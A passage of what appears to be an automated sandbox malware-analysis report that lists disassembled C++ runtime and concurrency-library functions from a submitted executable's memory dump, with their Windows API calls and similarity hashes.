                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _strcspn$H_prolog3_ctype
                                  • String ID:
                                  • API String ID: 838279627-0
                                  • Opcode ID: 0a7ef9dab4dacb6d4bb2af985b356dfdafce83d30c445a8ad1ac3ada484af6cc
                                  • Instruction ID: da983d5da0866b5ee18352445d989a50bff759aa597825a4267d48d3c254bf5c
                                  • Opcode Fuzzy Hash: 0a7ef9dab4dacb6d4bb2af985b356dfdafce83d30c445a8ad1ac3ada484af6cc
                                  • Instruction Fuzzy Hash: FDB12275D002599FDF14DFA8C985AEEBBB9EF48320F14401AF845BB242D730AE45CBA1
                                  Function 00A6A37F Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AdjustPointer
                                  • String ID:
                                  • API String ID: 1740715915-0
                                  • Opcode ID: dc0ea3c5fc081af13d458cf3d561933bb6f9549934af2522cfe2f28195ac9171
                                  • Instruction ID: 07553a2df2df2dd028286ead6c1a38a6d647887fe31b8a06a4e798edf650faf0
                                  • Opcode Fuzzy Hash: dc0ea3c5fc081af13d458cf3d561933bb6f9549934af2522cfe2f28195ac9171
                                  • Instruction Fuzzy Hash: 6E5105B2605602DFDB298F54CD49B7A73B4FF60310F20452DE8066A281DBB1EC81DF92
                                  Function 00A93441 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: 2708c27457705301608db732aec8507f4634dce2e5e709eb15b84545e5366c1c
                                  • Instruction ID: 90276ca1693635f2ec23d276a78e3f9b9a30902d61d0e1c18042cb422806f30c
                                  • Opcode Fuzzy Hash: 2708c27457705301608db732aec8507f4634dce2e5e709eb15b84545e5366c1c
                                  • Instruction Fuzzy Hash: C4411733B00511AFDF21BBBC8D46A6E3AF4EF45330F168615F519D6291EA748F0187A2
                                  Function 00A68CE6 Relevance: 6.1, APIs: 4, Instructions: 141COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: EqualOffsetTypeids
                                  • String ID:
                                  • API String ID: 1707706676-0
                                  • Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
                                  • Instruction ID: 998f48ec858aa0e0166360bc7266f00a50ac88f23ab347399895c229ffc66703
                                  • Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
                                  • Instruction Fuzzy Hash: 88518B35A042099FDF21CF69C4809EEBBF8FF15710F144A9AD851A7291DB3AED45CBA0
                                  Function 009FB050 Relevance: 6.1, APIs: 4, Instructions: 86COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 009FB06D
                                    • Part of subcall function 00A38B5B: __EH_prolog3.LIBCMT ref: 00A38B62
                                    • Part of subcall function 00A38B5B: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00A38B80
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 009FB08D
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 009FB0AE
                                  • std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 009FB0BE
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Locimp::_std::locale::_$LocimpLockitstd::_$AddfacH_prolog3Locimp_Lockit::_Lockit::~_New_
                                  • String ID:
                                  • API String ID: 2312398356-0
                                  • Opcode ID: 93b5d148fe44ba7bd5f79deb3ea85722651c0018e1aa71b1005e36c0df5e8c27
                                  • Instruction ID: 6fafe98562d3ed2d49c664a39957b7a73124f40090fc8018d8c2f56e01611ec9
                                  • Opcode Fuzzy Hash: 93b5d148fe44ba7bd5f79deb3ea85722651c0018e1aa71b1005e36c0df5e8c27
                                  • Instruction Fuzzy Hash: 972191B1A00609AFC710EF69DD81AABB7ACFB54310F048165F9099B201EF35ED16DBD1
                                  Function 00A50050 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A4FCB0: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,215D2A08,215D2A08,?,?,?,00000000,00000000,215D2A08,215D2A08), ref: 00A4FCF5
                                  • ReleaseSemaphore.KERNEL32(?,?,00000000,215D2A08,?,215D2A08,215D2A08,?,00A9BF00,000000FF,?,00A4FD89), ref: 00A500A0
                                  • ReleaseSemaphore.KERNEL32(?,?,00000000,?,00A4FD89), ref: 00A500C1
                                  • CloseHandle.KERNEL32(?,?,215D2A08,215D2A08), ref: 00A500F2
                                  • SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00AA0140,000000FF), ref: 00A5012C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ReleaseSemaphore$CloseEventHandleObjectSingleWait
                                  • String ID:
                                  • API String ID: 568734227-0
                                  • Opcode ID: c973e80878853575523c5a582be303c69637a2f03383624c8b1ccc15727b705f
                                  • Instruction ID: 29ee0608da0e2308c9589a34decd855e71f8ab032e0492841cb4341889895ff8
                                  • Opcode Fuzzy Hash: c973e80878853575523c5a582be303c69637a2f03383624c8b1ccc15727b705f
                                  • Instruction Fuzzy Hash: EF31DD31640605AFDF20CF68DC84F56B7A8FB04715F1445A9EC19DB296DB35EC09CBA1
                                  Function 00A62B47 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A62B97
                                    • Part of subcall function 00A5CB06: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00A5CB27
                                  • Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00A62BB0
                                  • Concurrency::location::_Assign.LIBCMT ref: 00A62BC6
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A62C07
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Context$Base::Concurrency::details::$EventThrow$AssignBlockedConcurrency::location::_Exception@8InternalSpinTraceUntil
                                  • String ID:
                                  • API String ID: 1204113144-0
                                  • Opcode ID: c558b7a741b245355853902d2a6db05d451ca7fb5542a7e42e182504a41ae4ef
                                  • Instruction ID: 3280ae02271cbb6ad7e93b5a84211ecd01feb5137c46ba02596f7b4d9c51af14
                                  • Opcode Fuzzy Hash: c558b7a741b245355853902d2a6db05d451ca7fb5542a7e42e182504a41ae4ef
                                  • Instruction Fuzzy Hash: 5B210830B006149FCF04EFA4C986AADB7B5FF48721B504555E912AB381DF70AD09CBA0
                                  Function 00A82D92 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00A82D39,?,00000000,00000000,00000000,?,00A83066,00000006,FlsSetValue), ref: 00A82DC4
                                  • GetLastError.KERNEL32(?,00A82D39,?,00000000,00000000,00000000,?,00A83066,00000006,FlsSetValue,00AAF560,FlsSetValue,00000000,00000364,?,00A8444C), ref: 00A82DD0
                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00A82D39,?,00000000,00000000,00000000,?,00A83066,00000006,FlsSetValue,00AAF560,FlsSetValue,00000000), ref: 00A82DDE
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: LibraryLoad$ErrorLast
                                  • String ID:
                                  • API String ID: 3177248105-0
                                  • Opcode ID: a68cc11efcfbd812ae7c3cd566778b3e4f83d519d1a2ad23c2f8251a210e6d94
                                  • Instruction ID: 08e078d869e6aeeb7791610f0678c2f4c343f3ed93278dc424d5a16b0d2def85
                                  • Opcode Fuzzy Hash: a68cc11efcfbd812ae7c3cd566778b3e4f83d519d1a2ad23c2f8251a210e6d94
                                  • Instruction Fuzzy Hash: 0601FC37641223ABDB21DBA89C44BE7BF98EF55B617100124F906D7180C724D90687D0
                                  Function 00A50750 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                  Download Yara Rule
                                  APIs
                                  • EnterCriticalSection.KERNEL32(00AE87E8,?,?,00A248EF,00AE7168,00AA1FF0,00000001), ref: 00A5075A
                                  • LeaveCriticalSection.KERNEL32(00AE87E8,?,00A248EF,00AE7168,00AA1FF0,00000001), ref: 00A5078D
                                  • SetEvent.KERNEL32(00000000,00AE7168,00AA1FF0,00000001), ref: 00A5081B
                                  • ResetEvent.KERNEL32 ref: 00A50827
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CriticalEventSection$EnterLeaveReset
                                  • String ID:
                                  • API String ID: 3553466030-0
                                  • Opcode ID: 7fba51df118dcce7df2495f9b982b8f2d631e8d44159d17350712cbd16d7eaab
                                  • Instruction ID: df5c86f4eb6c3eb5588dd6613944486c49f1be6985e2e10ef286a4aeedfe9d4b
                                  • Opcode Fuzzy Hash: 7fba51df118dcce7df2495f9b982b8f2d631e8d44159d17350712cbd16d7eaab
                                  • Instruction Fuzzy Hash: 67012C36601660DFDF04DFA4ED5895677B9FB0A741744416AFD069B360CB386E06CB90
                                  Function 00A5D2DC Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00A5D30E
                                  • std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00A5D31E
                                  • std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00A5D32E
                                  • std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00A5D342
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Compare_exchange_acquire_4std::_
                                  • String ID:
                                  • API String ID: 3973403980-0
                                  • Opcode ID: b2325e4216f6f830002f21c186e6f3639b9ab68d5671fc8eda32feac77cef074
                                  • Instruction ID: f34c0d93f625fc35ea1cb2f269d332f64fbe0acd378a9041590185f2548d57d8
                                  • Opcode Fuzzy Hash: b2325e4216f6f830002f21c186e6f3639b9ab68d5671fc8eda32feac77cef074
                                  • Instruction Fuzzy Hash: 6A01C976400149EBDF329F94EE428AD3F76BB49366B148415FD2888071E732C678EB82
                                  Function 00A5D34C Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00A5D355
                                    • Part of subcall function 00A51F1F: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00A58146
                                  • Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00A5D379
                                  • Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00A5D38C
                                  • Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00A5D395
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
                                  • String ID:
                                  • API String ID: 218105897-0
                                  • Opcode ID: 1ab730b203937651ef122450f71a0a107b40cf19d47cea0b01753b3323a43e2d
                                  • Instruction ID: b64b90b1ce3b30562c8791cd068c5a832c863222d871b5d662ec8f1a5dcd0c0f
                                  • Opcode Fuzzy Hash: 1ab730b203937651ef122450f71a0a107b40cf19d47cea0b01753b3323a43e2d
                                  • Instruction Fuzzy Hash: FBF0A730200B109EE631AB249911B2A33A5AF44722F008419EC1A9B682CB34E84A8B52
                                  Function 00A529AD Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • RegisterWaitForSingleObject.KERNEL32(00A5896E,00A64A42,75EC5D89,00A64B42,000000FF,0000000C), ref: 00A529C4
                                  • GetLastError.KERNEL32(?,00A64B42,75EC5D89,00A64A42,00A5896E,?,?,?,?,00A5896E,?,?,?,?,00000000), ref: 00A529D3
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A529E9
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A529F7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
                                  • String ID:
                                  • API String ID: 3803302727-0
                                  • Opcode ID: aedd1e6b6f4cd039df77989f789df64244a7193a36484ca1d9da81c669701d72
                                  • Instruction ID: 6e5f947877a32e2c14843185a933ffb3f78b2c549f1be5cdc49f943f60508eea
                                  • Opcode Fuzzy Hash: aedd1e6b6f4cd039df77989f789df64244a7193a36484ca1d9da81c669701d72
                                  • Instruction Fuzzy Hash: 9AF08C3160010AFBCF10EFA0DE06BEF7778AB05705F100654B912E51E1DB34DA189BA0
                                  Function 00A526D2 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • ___crtCreateEventExW.LIBCPMT ref: 00A526E8
                                  • GetLastError.KERNEL32(?,?,?,?,?,00A51F19), ref: 00A526F6
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A5270C
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5271A
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
                                  • String ID:
                                  • API String ID: 200240550-0
                                  • Opcode ID: 114358c494176d715c5d9c5a7b4320e10092830509edb89c092a73be4a0bbddd
                                  • Instruction ID: 00db59ff2275e5fdc4d56f08040a045bb0b6e455d29c2f86415649dbab6f8c5d
                                  • Opcode Fuzzy Hash: 114358c494176d715c5d9c5a7b4320e10092830509edb89c092a73be4a0bbddd
                                  • Instruction Fuzzy Hash: B2E0DF6265020A2AEB10B3B59D03BBF36ACAB01745F800854BE25E40D3FEA4D90886B0
                                  Function 00A528E9 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00A51F19), ref: 00A528F3
                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00A51F19), ref: 00A52902
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A52918
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A52926
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
                                  • String ID:
                                  • API String ID: 3016159387-0
                                  • Opcode ID: 90506a7b368153640129f88750baf5ec97051c2e265ed08adbad0a0981b9a39e
                                  • Instruction ID: 2741c420f7a0499591ed12016e6a2bbb118636a2a8d47714a382b665876f6fd9
                                  • Opcode Fuzzy Hash: 90506a7b368153640129f88750baf5ec97051c2e265ed08adbad0a0981b9a39e
                                  • Instruction Fuzzy Hash: F4E01A71A0010AA6CB00EBB59A4ABEF73BC6A01705F5005A5B542E61A1EB34EA0C87B0
                                  Function 00A52A41 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • SetThreadPriority.KERNEL32(?,?), ref: 00A52A4D
                                  • GetLastError.KERNEL32 ref: 00A52A59
